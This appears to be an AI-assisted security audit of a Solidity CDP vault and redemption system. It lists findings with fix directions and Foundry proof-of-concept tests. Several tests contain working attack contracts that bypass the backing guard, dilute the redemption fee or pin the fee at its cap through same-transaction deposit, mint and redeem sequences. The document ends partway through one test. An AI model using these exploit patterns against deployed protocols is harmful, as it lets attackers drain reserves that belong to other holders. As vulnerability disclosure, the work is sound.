Refused by Codex's safety filter

• highRedemptionWorsensBacking guard counts collateral that backs no debt, so a deposit-redeem-withdraw in one transaction drains an underbacked reserve at parsrc/CDPVault.sol:411

  Seam: boundary x invariant. _checkRedemptionBacking adds the vault's whole IMD balance, priced, to backing. That balance includes collateral posted against no debt (and every borrower's surplus), which is the depositor's and withdrawable at any time with no health check, so it does not back COMP supply.

  The invariant the guard exists for (a redemption must not leave remaining holders with a lower backing/supply ratio, pinned by test_underbackedReserveBoundaryRejectsOneWeiBelowAndAcceptsEquality) therefore holds only until anyone parks debt-free IMD in the vault. A redeemer does it atomically: depositCollateral(X), redeem, withdrawCollateral(X). The deposit costs nothing, bears no fee and no price risk, and nothing in the check distinguishes it.

  With enough X the guard passes for any amount, so the first mover can take the entire Treasury IMD reserve at the fee-adjusted feed price while the system is underbacked and leave the remaining COMP with nothing. The same effect arises without an attacker whenever debt-free or heavily over-collateralised positions sit in the vault: the guard silently stops guarding.

  Fix direction (keeps the design): count position-side backing only to the extent it secures debt (for example cap the vault term at outstanding debt rather than raw balance) and make it immune to same-transaction changes, as backedDebt() already is through the transaction-start snapshot; a deposit or mint made in the redeeming transaction must not raise backing.

  whole finding

  ParameterizedVault, IMD = 1 USD, NHI 0.85. IMD listed as reserve at haircut 10000; Treasury holds 100 IMD. Borrower deposits 1500 IMD and mints 1000 COMP; WORKER mintFromWork(250e18); borrower repays 1000 and withdraws 1500. State: totalSupply 250e18, reserveValue 100e18, vault IMD 0 (40% backed).

  1. WORKER calls redeem(10e18, 0, address(0)): reverts RedemptionWorsensBacking (backingOut 9.85e18 > 100e18*10/250 = 4e18), as intended.
  2. A contract holding 10 COMP and 1000 IMD calls, in one transaction, depositCollateral(1000e18); redeem(10e18, 0, address(0)); withdrawCollateral(1000e18). Now backing = 100e18 + 1000e18, allowed = 1100e1810/250 = 44e18 >= 9.85e18, so the redemption succeeds and pays 9.85 IMD from the Treasury. Expected: revert as in (1). Actual: reserve 90.15 IMD against 240 COMP; backing ratio fell from 0.4000 to 0.3756 (90.15e18250e18 = 2.25375e40 < 100e18*240e18 = 2.4e40), the attacker's 1000 IMD is back in its wallet. Repeating with 100.5 COMP empties the reserve. Run: forge test --match-path test/scratch/BackingGuardBypass.t.sol fails with 'redemption left remaining holders with a lower backing ratio: 2.25375e40 < 2.4e40'.

  whole reproduction
  proof · a Foundry test the fix has to pass

  // SPDX-License-Identifier: MIT
  pragma solidity 0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
  import {MockIMD} from "src/MockIMD.sol";
  import {CompToken} from "src/CompToken.sol";
  import {MockWorkOracle} from "src/MockWorkOracle.sol";
  import {ParameterizedVault} from "src/ParameterizedVault.sol";
  import {CDPVault} from "src/CDPVault.sol";
  import {Parameters} from "src/Parameters.sol";
  import {Treasury} from "src/Treasury.sol";
  import {ISwarmFeed} from "src/interfaces/ISwarmFeed.sol";
  import {APPROVED_OPERATOR, CHAINLINK_ETH_USD} from "src/DeploymentConfig.sol";
  
  contract ProofFeed is ISwarmFeed {
      uint256 public constant maxAge = 1 days;
      uint256 private value;
  
      constructor(uint256 value_) {
          value = value_;
      }
  
      function latestValue() external view returns (uint256, uint64) {
          return (value, uint64(block.timestamp));
      }
  
      function isStale() external pure returns (bool) {
          return false;
      }
  }
  
  contract ProofEthUsd {
      function decimals() external pure returns (uint8) {
          return 8;
      }
  
      function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
          return (1, 2000e8, block.timestamp, block.timestamp, 1);
      }
  }
  
  /// @dev Deposits debt-free collateral, redeems, and takes the collateral straight back, atomically.
  contract TransientDepositor {
      function run(ParameterizedVault vault, IERC20 imd, uint256 deposit, uint256 amount) external returns (uint256 out) {
          imd.approve(address(vault), deposit);
          vault.depositCollateral(deposit);
          out = vault.redeem(amount, 0, address(0));
          vault.withdrawCollateral(deposit);
      }
  }
  
  contract BackingGuardBypassTest is Test {
      address private constant BORROWER = address(0xBA);
      address private constant WORKER = address(0xCA);
      MockIMD private imd;
      ParameterizedVault private vault;
      CompToken private comp;
      Treasury private treasury;
  
      function setUp() public {
          vm.warp(1_000_000);
          vm.etch(CHAINLINK_ETH_USD, address(new ProofEthUsd()).code);
          imd = new MockIMD();
          // 1 IMD = 1/2000 ETH = 1 USD, so one IMD is one unit of the vault's account.
          ProofFeed primary = new ProofFeed(uint256(1 ether) / 2000);
          ProofFeed spot = new ProofFeed(uint256(1 ether) / 2000);
          ProofFeed nhi = new ProofFeed(0.85 ether);
          vault = new ParameterizedVault(address(imd), address(0), address(0), address(primary), address(nhi), address(spot));
          comp = vault.compToken();
          treasury = vault.treasury();
          Parameters parameters = vault.parameters();
          // List IMD as a reserve asset at full value, through the governed 48-hour path.
          ISwarmFeed usdFeed = vault.usdPriceFeed();
          vm.prank(APPROVED_OPERATOR);
          parameters.proposeReserveAsset(IERC20(address(imd)), usdFeed, 10_000);
          vm.warp(parameters.pendingEta());
          parameters.applyPending();
          // Reserve of 100 IMD (100 USD), then 250 work-minted COMP whose ratio term is later unwound.
          vm.startPrank(APPROVED_OPERATOR);
          imd.mint(address(treasury), 100 ether);
          imd.mint(BORROWER, 1500 ether);
          MockWorkOracle(address(vault.oracle())).grantRights(WORKER, 250 ether);
          vm.stopPrank();
          vm.startPrank(BORROWER);
          imd.approve(address(vault), 1500 ether);
          vault.depositCollateral(1500 ether);
          vault.mintCOMP(1000 ether);
          vm.stopPrank();
          vm.prank(WORKER);
          vault.mintFromWork(250 ether);
          vm.startPrank(BORROWER);
          vault.repayCOMP(1000 ether);
          vault.withdrawCollateral(1500 ether);
          vm.stopPrank();
      }
  
      function test_transientDebtFreeDepositMustNotUnlockABackingWorseningRedemption() public {
          // State: 250 COMP outstanding against 100 USD of reserve. Backing is 40%.
          assertEq(comp.totalSupply(), 250 ether);
          assertEq(vault.reserveValue(), 100 ether);
          assertEq(imd.balanceOf(address(vault)), 0);
  
          // The guard refuses a plain 10 COMP redemption: it would pay 9.85 USD against a 4 USD share.
          vm.prank(WORKER);
          vm.expectRevert(CDPVault.RedemptionWorsensBacking.selector);
          vault.redeem(10 ether, 0, address(0));
  
          // The same redemption wrapped in a deposit and withdrawal of collateral that backs no debt.
          TransientDepositor attacker = new TransientDepositor();
          vm.prank(WORKER);
          comp.transfer(address(attacker), 10 ether);
          vm.prank(APPROVED_OPERATOR);
          imd.mint(address(attacker), 1000 ether);
  
          uint256 backingBefore = vault.reserveValue();
          uint256 supplyBefore = comp.totalSupply();
          try attacker.run(vault, IERC20(address(imd)), 1000 ether, 10 ether) {} catch {}
  
          // The attacker's collateral is back out, so the reserve is all that backs the remaining COMP.
          assertEq(imd.balanceOf(address(vault)), 0, "no collateral stayed behind");
          assertGe(
              vault.reserveValue() * supplyBefore,
              backingBefore * comp.totalSupply(),
              "redemption left remaining holders with a lower backing ratio"
          );
      }
  }

  whole proof

• mediumRedemption base-rate increase is measured against instantaneous totalSupply, so a same-transaction mint dilutes the fee curve (99.25 paid where the curve allows 97)src/CDPVault.sol:462

  Seam: boundary x precision of the fee formula. _redemptionRate computes increase = amount * 1e18 / totalSupply / 4 with the supply at the instant of the call. Supply is elastic and caller-controlled inside one transaction: mintCOMP against transient collateral raises it, repayCOMP restores it, and a zero-second stability fee is zero.

  The redeemed 'fraction of total supply' the approved design prices (a tenth of supply raises the base by 250 bps) is therefore whatever the caller wants it to be, and the decaying base rate does no work for anyone able to borrow IMD for one transaction. The diluted base is also what gets stored in redemptionBaseRate, so later redeemers inherit the understated rate. The fee is retained as backing, so every basis point dodged is backing the protocol was designed to keep.

  The codebase already treats this pattern as a defect for the work ceiling (REVISION finding 4d30331c: debt created in the current transaction does not count, via _debtAtTransactionStart); the fee denominator has no such protection.

  Fix direction: measure the redeemed fraction against supply that excludes principal minted in the same transaction (for example supply minus max(0, totalDebt - debt at transaction start)), which leaves fee values, floor, cap and divisor unchanged.

  whole finding

  ParameterizedVault, IMD = 1 USD, NHI 0.85.

  Treasury holds 200 IMD (unlisted is enough).

  Borrower deposits 3000 IMD, mints 1000 COMP: totalSupply 1000e18, redemptionBaseRate 0. redemptionFeeBps(100e18) = 300 (50 floor + 10%/4), so an honest redeem(100e18) pays 97 IMD and sets redemptionBaseRate to 0.025e18.

  Instead a contract holding 100 COMP and 13500 IMD calls in one transaction: depositCollateral(13500e18); mintCOMP(9000e18) (supply now 10000e18); redeem(100e18, 0, address(0)); repayCOMP(9000e18); withdrawCollateral(13500e18). increase = 100/10000/4 = 0.0025e18, feeBps = 75.

  Expected payout 97e18 IMD and base 0.025e18; actual payout 99.25e18 IMD (2.25 IMD more than the fee-adjusted price) and stored base 0.0025e18, with supply back at 900e18.

  Run: forge test --match-path test/scratch/FeeCurveBypass.t.sol fails with 'paid more than the 300 bps fee on a tenth of supply allows: 99250000000000000000 > 97000000000000000000'.

  whole reproduction
  proof · a Foundry test the fix has to pass

  // SPDX-License-Identifier: MIT
  pragma solidity 0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
  import {MockIMD} from "src/MockIMD.sol";
  import {CompToken} from "src/CompToken.sol";
  import {ParameterizedVault} from "src/ParameterizedVault.sol";
  import {ISwarmFeed} from "src/interfaces/ISwarmFeed.sol";
  import {APPROVED_OPERATOR, CHAINLINK_ETH_USD} from "src/DeploymentConfig.sol";
  
  contract ProofFeed is ISwarmFeed {
      uint256 public constant maxAge = 1 days;
      uint256 private value;
  
      constructor(uint256 value_) {
          value = value_;
      }
  
      function latestValue() external view returns (uint256, uint64) {
          return (value, uint64(block.timestamp));
      }
  
      function isStale() external pure returns (bool) {
          return false;
      }
  }
  
  contract ProofEthUsd {
      function decimals() external pure returns (uint8) {
          return 8;
      }
  
      function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
          return (1, 2000e8, block.timestamp, block.timestamp, 1);
      }
  }
  
  /// @dev Mints debt to inflate totalSupply, redeems, then repays and withdraws, atomically.
  contract SupplyInflator {
      function run(ParameterizedVault vault, IERC20 imd, uint256 deposit, uint256 mint, uint256 amount)
          external
          returns (uint256 out)
      {
          imd.approve(address(vault), deposit);
          vault.depositCollateral(deposit);
          vault.mintCOMP(mint);
          out = vault.redeem(amount, 0, address(0));
          vault.repayCOMP(mint);
          vault.withdrawCollateral(deposit);
      }
  }
  
  contract FeeCurveBypassTest is Test {
      address private constant BORROWER = address(0xBA);
      MockIMD private imd;
      ParameterizedVault private vault;
      CompToken private comp;
  
      function setUp() public {
          vm.warp(1_000_000);
          vm.etch(CHAINLINK_ETH_USD, address(new ProofEthUsd()).code);
          imd = new MockIMD();
          ProofFeed primary = new ProofFeed(uint256(1 ether) / 2000);
          ProofFeed spot = new ProofFeed(uint256(1 ether) / 2000);
          ProofFeed nhi = new ProofFeed(0.85 ether);
          vault = new ParameterizedVault(address(imd), address(0), address(0), address(primary), address(nhi), address(spot));
          comp = vault.compToken();
          vm.startPrank(APPROVED_OPERATOR);
          imd.mint(BORROWER, 3000 ether);
          imd.mint(address(vault.treasury()), 200 ether);
          vm.stopPrank();
          vm.startPrank(BORROWER);
          imd.approve(address(vault), 3000 ether);
          vault.depositCollateral(3000 ether);
          vault.mintCOMP(1000 ether);
          vm.stopPrank();
      }
  
      function test_sameTransactionMintMustNotDiluteTheRedemptionFee() public {
          // 100 COMP is a tenth of the 1000 COMP supply: base rises 10% / 4 = 250 bps, fee 300 bps.
          assertEq(comp.totalSupply(), 1000 ether);
          assertEq(vault.redemptionFeeBps(100 ether), 300);
  
          SupplyInflator attacker = new SupplyInflator();
          vm.prank(BORROWER);
          comp.transfer(address(attacker), 100 ether);
          vm.prank(APPROVED_OPERATOR);
          imd.mint(address(attacker), 13_500 ether);
  
          uint256 out;
          try attacker.run(vault, IERC20(address(imd)), 13_500 ether, 9000 ether, 100 ether) returns (uint256 paid) {
              out = paid;
          } catch {}
  
          // The redeemer burned a tenth of the supply that exists before and after its transaction.
          assertEq(comp.totalSupply(), out == 0 ? 1000 ether : 900 ether);
          assertLe(out, 97 ether, "paid more than the 300 bps fee on a tenth of supply allows");
          assertGe(out == 0 ? 0.025 ether : vault.redemptionBaseRate(), 0.025 ether, "base rate rose by less than 250 bps");
      }
  }

  whole proof

• lowRedemption fee truncates the base rate to whole basis points in the redeemer's favoursrc/CDPVault.sol:382

  The fee charged is REDEMPTION_FEE_FLOOR_BPS + floor(base / 1e14), so up to one basis point of the 1e18-scaled base rate is dropped on every redemption, and the drop favours the redeemer (the checklist direction is fees round up). The untruncated base is carried in redemptionBaseRate, so the loss does not compound across calls, but each call underpays by the sub-bps remainder, and a redeemer who sizes each burn so its own increase stays under 1e14 never pays for that increase.

  Bounded at under 1 bp of the amount per call.

  Fix: apply the fee at full precision, payoutScale = 1e18 - 50e14 - base, keeping the bps figure for the event only.

  totalSupply 1000e18, redemptionBaseRate 0. redeem(0.39e18, 0, candidate-or-reserve): increase = mulDiv(0.39e18, 1e18, 1000e18) / 4 = 9.75e13; feeBps = 50 + 9.75e13 / 1e14 = 50.

  Exact fee 50.975 bps.

  At price 1e18: actual imdOut = 0.39e18 * 0.9950 = 388050000000000000; expected with the fee at full precision 0.39e18 * 0.9949025 = 388011975000000000.

  Overpaid 38025000000000 wei (0.975 bps of the amount).

Refused by Codex's safety filter

• mediumRedeeming against a position you control costs nothing, so anyone can hold the redemption fee at the 5% capsrc/CDPVault.sol:399

  Trust gap (economics x asymmetry) in redeem(). The base rate rises by the redeemed fraction of supply on every redemption (line 464, Math.mulDiv(amount, 1e18, supply) / 4) and is stored at line 399 regardless of who funds the payout. The fee is meant to be the cost of moving that rate, but for a position-funded redemption the fee is not paid to anyone: it stays in the candidate's position as collateral (_redeemPosition, lines 430-437).

  When the redeemer controls the candidate (candidate == msg.sender, or a second address of the same actor: A mints, transfers COMP to B, B redeems against A) the fee is returned to the redeemer in full, so the rate increase is free.

  With an empty Treasury IMD balance, which is the deployed state (launch.json notes: 'the Treasury reserve register starts empty'; the Treasury only ever receives IMD from liquidation bonus shares), a borrower mints COMP inside the eligible band, redeems it against their own position and withdraws the remainder, ending with exactly the IMD they began with and no debt, while redemptionBaseRate jumps to the 4.5% cap.

  Every other redeemer then pays 500 bps instead of 50 until it decays (12-hour half-life), and the round trip can be repeated each time it decays for gas only.

  Impact: the workflow states 'the floor IS the peg, since COMP cannot trade far below one minus the fee without being redeemed' and refuses a governable cap because it 'is a redemption halt with extra steps'; here any unprivileged borrower moves the effective peg floor from 0.995 to 0.95 at will and for free.

  A borrower sitting in the eligible band also profits directly: the extra 4.5% that honest redeemers give up is retained in whichever position they name, so pinning the cap raises what that borrower keeps from each redemption against them ninefold. If the Treasury holds R IMD the actor first pays the fee on R (reserve is spent first), after which the path is free again.

  Existing tests exercise self-candidacy (RedemptionEconomics.t.sol _redeem uses the borrower as its own candidate) but none checks the redeemer's net cost.

  Fix direction, preserving the approved design (fee retained as backing, no distribution, no sorted list): make only the reserve-funded part of a redemption raise the base rate, or exclude debt minted in the same transaction/block and candidate == msg.sender from the increase; a plain candidate != msg.sender check alone is bypassed with a second address, so if position-funded burns must keep moving the rate this needs a scope decision on where the retained fee sits (for example the Treasury rather than the candidate).

  whole finding

  State: ParameterizedVault as in launch.json (collateral sentinel, zero comp/oracle), IMD = 1 USD, NHI 0.85 (minCR 150, ceiling 200), Treasury IMD balance 0.

  Bob holds a position of 1800 IMD / 1000 COMP, so supply is 1000 COMP and redemptionFeeBps(0) == 50.

  Mallory holds 1600 IMD.

  Calls by Mallory: depositCollateral(1600e18); mintCOMP(1000e18) (CR 160); redeem(1000e18, 0, Mallory) -> increase = (1000/2000)/4 = 12.5%, capped, feeBps = 500, she receives 950 IMD from her own position and her debt is 0; withdrawCollateral(650e18).

  Expected: an actor who ends with the same 1600 IMD, zero COMP and zero debt has not changed the price other redeemers pay (fee stays 50 bps), or has paid the fee to do so.

  Actual: Mallory's IMD balance is exactly 1600e18 again and vault.redemptionFeeBps(0) == 500, so Bob's COMP holder redeeming 100 COMP now receives 95 IMD instead of 99.5.

  Run: forge test --match-path test/scratch/FreeFeePin.t.sol -> fails with 'a free round trip moved the fee other redeemers pay: 500 != 50'.

  whole reproduction
  proof · a Foundry test the fix has to pass

  // SPDX-License-Identifier: MIT
  pragma solidity 0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {ParameterizedVault} from "src/ParameterizedVault.sol";
  import {MockIMD} from "src/MockIMD.sol";
  import {CompToken} from "src/CompToken.sol";
  import {ISwarmFeed} from "src/interfaces/ISwarmFeed.sol";
  import {APPROVED_OPERATOR, CHAINLINK_ETH_USD} from "src/DeploymentConfig.sol";
  
  contract PinFeed is ISwarmFeed {
      uint256 public constant maxAge = 1 days;
      uint256 private immutable value;
  
      constructor(uint256 value_) {
          value = value_;
      }
  
      function latestValue() external view returns (uint256, uint64) {
          return (value, uint64(block.timestamp));
      }
  
      function isStale() external pure returns (bool) {
          return false;
      }
  }
  
  contract PinEthUsd {
      uint8 public constant decimals = 8;
  
      function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
          return (1, 2000e8, block.timestamp, block.timestamp, 1);
      }
  }
  
  /// A borrower who redeems against a position they control keeps the redemption fee in that position,
  /// so they raise the fee every other redeemer pays to the 5% cap at no cost to themselves.
  contract FreeFeePinTest is Test {
      address internal constant BOB = address(0xB0B);
      address internal constant MALLORY = address(0xBAD);
      ParameterizedVault internal vault;
      MockIMD internal imd;
      CompToken internal comp;
  
      function setUp() public {
          vm.warp(1_000_000);
          vm.etch(CHAINLINK_ETH_USD, address(new PinEthUsd()).code);
          // 1 IMD = 1 USD: 1/2000 ETH per IMD times 2000 USD per ETH. NHI 0.85 gives minCR 150.
          PinFeed primary = new PinFeed(uint256(1 ether) / 2000);
          PinFeed spot = new PinFeed(uint256(1 ether) / 2000);
          PinFeed nhi = new PinFeed(0.85 ether);
          vault = new ParameterizedVault(
              0xFFfFfFffFFfffFFfFFfFFFFFffFFFffffFfFFFfF, address(0), address(0), address(primary), address(nhi), address(spot)
          );
          imd = MockIMD(address(vault.imdToken()));
          comp = vault.compToken();
          vm.startPrank(APPROVED_OPERATOR);
          imd.mint(BOB, 1800 ether);
          imd.mint(MALLORY, 1600 ether);
          vm.stopPrank();
          // An honest borrower at 180%, whose 1000 COMP is the circulating supply.
          vm.startPrank(BOB);
          imd.approve(address(vault), type(uint256).max);
          vault.depositCollateral(1800 ether);
          vault.mintCOMP(1000 ether);
          vm.stopPrank();
          vm.prank(MALLORY);
          imd.approve(address(vault), type(uint256).max);
      }
  
      function test_roundTripThatCostsNothingMustNotRaiseTheFeeOthersPay() public {
          assertEq(imd.balanceOf(address(vault.treasury())), 0, "empty reserve, as deployed");
          assertEq(vault.redemptionFeeBps(0), 50, "floor before");
          uint256 imdBefore = imd.balanceOf(MALLORY);
  
          vm.startPrank(MALLORY);
          vault.depositCollateral(1600 ether);
          vault.mintCOMP(1000 ether); // 160%: healthy, and inside the 150..200 eligible band
          vault.redeem(1000 ether, 0, MALLORY); // burn it all against her own position
          (uint256 left, uint256 debt) = vault.positions(MALLORY);
          vault.withdrawCollateral(left);
          vm.stopPrank();
  
          // She is exactly where she started: no debt, no COMP, every wei of IMD back.
          assertEq(debt, 0, "no debt left");
          assertEq(comp.balanceOf(MALLORY), 0, "no COMP left");
          assertEq(imd.balanceOf(MALLORY), imdBefore, "the round trip cost her nothing");
  
          // Yet every other redeemer now pays the cap instead of the floor.
          assertEq(vault.redemptionFeeBps(0), 50, "a free round trip moved the fee other redeemers pay");
      }
  }

  whole proof

• lowA compPerTask change reprices work that was already credited and consumed, in both directionssrc/SwarmWorkOracle.sol:162

  Asymmetry / trust gap (access x asymmetry, retroactive sweep). Rights are computed as the WHOLE cumulative task count times the rate in force NOW, minus COMP already consumed (lines 125-127 and 161-164). creditedTasks is recorded at consumption (line 165) but never used to price anything, so a governed rate change through Parameters.proposeCompPerTask is applied to every task ever attested, including tasks whose rights were already minted.

  The parallel governed number does this correctly: a stabilityFeeBps change is made forward-only by vault.pokeIndex() in Parameters._apply (Parameters.sol line 345) and CDPVault.debtIndex documents why ('a change ... applies only to the time after it'). The work rate has no such checkpoint.

  Raising the rate grants new minting rights with no new work; lowering it makes earned < consumedRights so newly attested work earns nothing until the count catches up, which contradicts the contract's own statement that the accounting is monotone and that a later figure 'can neither claw back what was spent nor re-credit work already minted against' (lines 155-156).

  The claimant is WORK_CLAIMANT, the same address as the governor, the change waits 48 hours and the work ceiling still bounds the mint, hence low. Not reachable in this launch as shipped (launch.json passes zero for oracle_, the MockWorkOracle faucet); it becomes live with the WORK_ORACLE_SENTINEL deployment the source prepares.

  Fix: store rights consumed in task units, or checkpoint earned rights at the old rate when the rate changes (earned = checkpointEarned + (tasks - checkpointTasks) * rate), mirroring pokeIndex.

  whole finding

  ParameterizedVault built with oracle_ = WORK_ORACLE_SENTINEL (WorkOracleFactory etched at WORK_ORACLE_FACTORY), compPerTask 0.01e18.

  FEED_REPORTER_0 calls work.report(1000): mintingRights(WORK_CLAIMANT) == 10e18.

  The vault consumes all 10e18 (consumeRights(WORK_CLAIMANT, 10e18)): rights == 0, creditedTasks == 1000.

  Governor: proposeCompPerTask(0.02e18), warp 48h, applyPending().

  Expected: rights stay 0, no new work was attested.

  Actual: mintingRights(WORK_CLAIMANT) == 10e18 (1000 * 0.02e18 - 10e18), mintable via mintFromWork for work already paid.

  Then proposeCompPerTask(0.005e18), 48h, applyPending(), and report(2000) (1000 NEW tasks).

  Expected: 1000 new tasks * 0.005e18 = 5e18 of rights.

  Actual: mintingRights == 0 (2000 * 0.005e18 = 10e18 == consumedRights).

  Both values observed in a local Foundry run.

  whole reproduction

• lowThe pinned relayer on Sepolia has no relayAndMark or relayAndLiquidate, and the feeds refuse any relay that doessrc/DeploymentConfig.sol:65

  Access control / deployment-time role assignment. PriceFeed, NhiFeed and SpotFeed (the three feeds launch.json deploys) and SwarmWorkOracle compile this constant in as their only permitted attestation submitter (SwarmFeed.submitAttestation: if (relayer != address(0) && msg.sender != relayer) revert UnauthorizedRelayer();).

  The contract at that address on Sepolia (11155111) is an older SwarmRelay: its runtime code dispatches only selectors 0x43ead661 (relay) and 0x45ec0a42 (relayMany). The selectors of relayAndMark (0xee6b53b2) and relayAndLiquidate (0x1746005c) in src/SwarmRelay.sol do not appear in it, and README.md line 156 says the deployed relay 'predates keeper bundling'.

  So in this launch the two bundling entry points in the accepted source can never deliver an attestation: called on the pinned address they hit a missing selector, and an instance of the current SwarmRelay deployed anywhere else is rejected by every feed with UnauthorizedRelayer.

  Attested updates remain possible through relay/relayMany, so nothing is frozen, but the property README line 20 and docs/COMPUTE-BACKING-DESIGN.md (line 311, 'relayAndLiquidate makes the update and the liquidation atomic') rely on, that a keeper can update the price and act on it atomically, does not hold for the feeds this manifest deploys, and because the relayer is an immutable the feeds cannot pick up a newer relay without redeployment.

  The marker-beneficiary path (markUnderwaterFor through the relay) is likewise unreachable. Fix without changing the design: deploy the current SwarmRelay first and write its address into ATTESTATION_RELAYER before the feeds are built (the constant's own ORDER MATTERS comment), or state in the manifest notes that bundling is not available in this launch. Evidence needed from services: the bytecode at the pinned address on the target chain.

  whole finding

  cast code 0xe36FFc2688Bf5974f2187AC9086492e372926D40 --rpc-url <Sepolia> returns 1,556 bytes of runtime code containing selectors 43ead661 and 45ec0a42 only; forge inspect SwarmRelay methodIdentifiers on this tree lists four (43ead661, 45ec0a42, ee6b53b2, 1746005c).

  Failing input 1: a keeper calls relayAndLiquidate(feeds, attestations, signatures, vault, borrower, debt) on 0xe36F...6D40 -> reverts in the dispatcher (no such selector).

  Failing input 2: the keeper deploys src/SwarmRelay.sol at any other address K and calls K.relayAndLiquidate(...) with a valid attester-signed attestation for the launched PriceFeed -> PriceFeed.submitAttestation reverts UnauthorizedRelayer because msg.sender == K != ATTESTATION_RELAYER.

  Expected per README line 20 and the design doc: update and liquidation in one transaction.

  Actual: only a two-transaction relay-then-act sequence is possible, with the race the bundling was built to remove.

  whole reproduction

Failed on the agent's machine.

Refused by Codex's safety filter

• highRedemptionWorsensBacking guard counts collateral that backs no debt, so a temporary debt-free deposit lets one holder drain the reserve at ~par from an underbacked supplysrc/CDPVault.sol:411

  _checkRedemptionBacking measures backing as the vault's whole IMD balance plus the registered reserve. The vault balance includes collateral of positions with no debt (and collateral far in excess of a position's debt), which belongs to its depositor, is withdrawable without any feed check, and backs no COMP.

  The guard was added (docs/REDEMPTION-CHECKS.md, 'Revision: aggregate backing after debt unwind') to stop a redemption paying out more than its pro-rata share once work-issued COMP is underbacked. Because the measured term is caller-controlled, any redeemer can deposit IMD with no debt, redeem, and withdraw the same IMD: the guard passes on capital that was never backing, and the redeemer exits at (1 - fee) x feed price while the remaining holders' backing per COMP collapses.

  Assumption violated: 'IMD held by the vault is backing for COMP'. The deposit and withdrawal cost nothing (no fee, no debt, no feed dependency) and can sit in one transaction. A fix that only skips debt-free positions is not enough (a 1-wei debt on the same deposit re-opens it); the measured collateral has to be bounded by the debt it secures, or deposits by the redeemer in the same transaction excluded, without changing payout, ordering or fee.

  whole finding

  ParameterizedVault, IMD = 1 USD, NHI 0.85, IMD listed in the Treasury register at haircut 10000, Treasury holds 100 IMD.

  BORROWER deposits 1500 IMD and mints 1000 COMP; WORKER mintFromWork(250); BORROWER repays 1000 and withdraws 1500.

  State: supply 250 COMP, backing 100 IMD (0.40 per COMP), vault IMD 0.

  ATTACKER holds 100 COMP.

  (1) redeem(100e18, 0, address(0)) reverts RedemptionWorsensBacking, as intended (pro-rata share is 40 IMD, payout would be 95).

  (2) ATTACKER depositCollateral(1000e18) with no debt, then the identical redeem(100e18, 0, address(0)) SUCCEEDS and pays 95 IMD from the Treasury (fee 500 bps), then withdrawCollateral(1000e18).

  Expected: step 2 reverts like step 1.

  Actual: attacker ends with 1095 IMD; the Treasury is left with 5 IMD against 150 COMP (0.033 per COMP instead of 0.40) - 55 IMD of the other holders' pro-rata backing went to the attacker.

  Proof test: test/scratch/BackingGuardBypass.t.sol fails with 'debt-free deposit let a backing-worsening redemption through'.

  whole reproduction
  proof · a Foundry test the fix has to pass

  // SPDX-License-Identifier: MIT
  pragma solidity 0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
  import {MockIMD} from "src/MockIMD.sol";
  import {CompToken} from "src/CompToken.sol";
  import {MockWorkOracle} from "src/MockWorkOracle.sol";
  import {ParameterizedVault} from "src/ParameterizedVault.sol";
  import {CDPVault} from "src/CDPVault.sol";
  import {Parameters} from "src/Parameters.sol";
  import {Treasury} from "src/Treasury.sol";
  import {ISwarmFeed} from "src/interfaces/ISwarmFeed.sol";
  import {APPROVED_OPERATOR, CHAINLINK_ETH_USD} from "src/DeploymentConfig.sol";
  
  contract FixedFeed is ISwarmFeed {
      uint256 public constant maxAge = 1 days;
      uint256 private value;
  
      constructor(uint256 v) {
          value = v;
      }
  
      function set(uint256 v) external {
          value = v;
      }
  
      function latestValue() external view returns (uint256, uint64) {
          return (value, uint64(block.timestamp));
      }
  
      function isStale() external pure returns (bool) {
          return false;
      }
  }
  
  contract FreshEthUsd {
      uint8 public constant decimals = 8;
  
      function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
          return (1, 2000e8, block.timestamp, block.timestamp, 1);
      }
  }
  
  abstract contract Base is Test {
      MockIMD internal imd;
      ParameterizedVault internal vault;
      CompToken internal comp;
      Treasury internal treasury;
      Parameters internal parameters;
      FixedFeed internal primary;
      FixedFeed internal spot;
      FixedFeed internal nhi;
  
      function setUp() public virtual {
          vm.warp(1_000_000);
          vm.etch(CHAINLINK_ETH_USD, address(new FreshEthUsd()).code);
          imd = new MockIMD();
          // 1 USD per IMD at 2000 USD per ETH.
          primary = new FixedFeed(uint256(1e18) / 2000);
          spot = new FixedFeed(uint256(1e18) / 2000);
          nhi = new FixedFeed(0.85e18);
          vault = new ParameterizedVault(address(imd), address(0), address(0), address(primary), address(nhi), address(spot));
          comp = vault.compToken();
          treasury = vault.treasury();
          parameters = vault.parameters();
      }
  
      function _fund(address who, uint256 amount) internal {
          vm.prank(APPROVED_OPERATOR);
          imd.mint(who, amount);
          vm.prank(who);
          imd.approve(address(vault), type(uint256).max);
      }
  }
  
  contract BackingGuardBypassTest is Base {
      address internal constant BORROWER = address(0xBA);
      address internal constant ATTACKER = address(0xA77);
      address internal constant WORKER = address(0xCA);
  
      function test_debtFreeDepositBypassesBackingGuard() public {
          ISwarmFeed usdFeed = ISwarmFeed(address(vault.usdPriceFeed()));
          vm.prank(APPROVED_OPERATOR);
          parameters.proposeReserveAsset(IERC20(address(imd)), usdFeed, 10_000);
          vm.warp(parameters.pendingEta());
          parameters.applyPending();
          vm.prank(APPROVED_OPERATOR);
          imd.mint(address(treasury), 100 ether);
  
          _fund(BORROWER, 1500 ether);
          vm.startPrank(BORROWER);
          vault.depositCollateral(1500 ether);
          vault.mintCOMP(1000 ether);
          vm.stopPrank();
          MockWorkOracle oracle = MockWorkOracle(address(vault.oracle()));
          vm.prank(APPROVED_OPERATOR);
          oracle.grantRights(WORKER, 250 ether);
          vm.prank(WORKER);
          vault.mintFromWork(250 ether);
          vm.startPrank(BORROWER);
          vault.repayCOMP(1000 ether);
          vault.withdrawCollateral(1500 ether);
          vm.stopPrank();
          assertEq(comp.totalSupply(), 250 ether);
          assertEq(vault.reserveValue(), 100 ether);
  
          // WORKER hands 100 COMP to the attacker (any holder can be the attacker).
          vm.prank(WORKER);
          comp.transfer(ATTACKER, 100 ether);
  
          vm.prank(ATTACKER);
          vm.expectRevert(CDPVault.RedemptionWorsensBacking.selector);
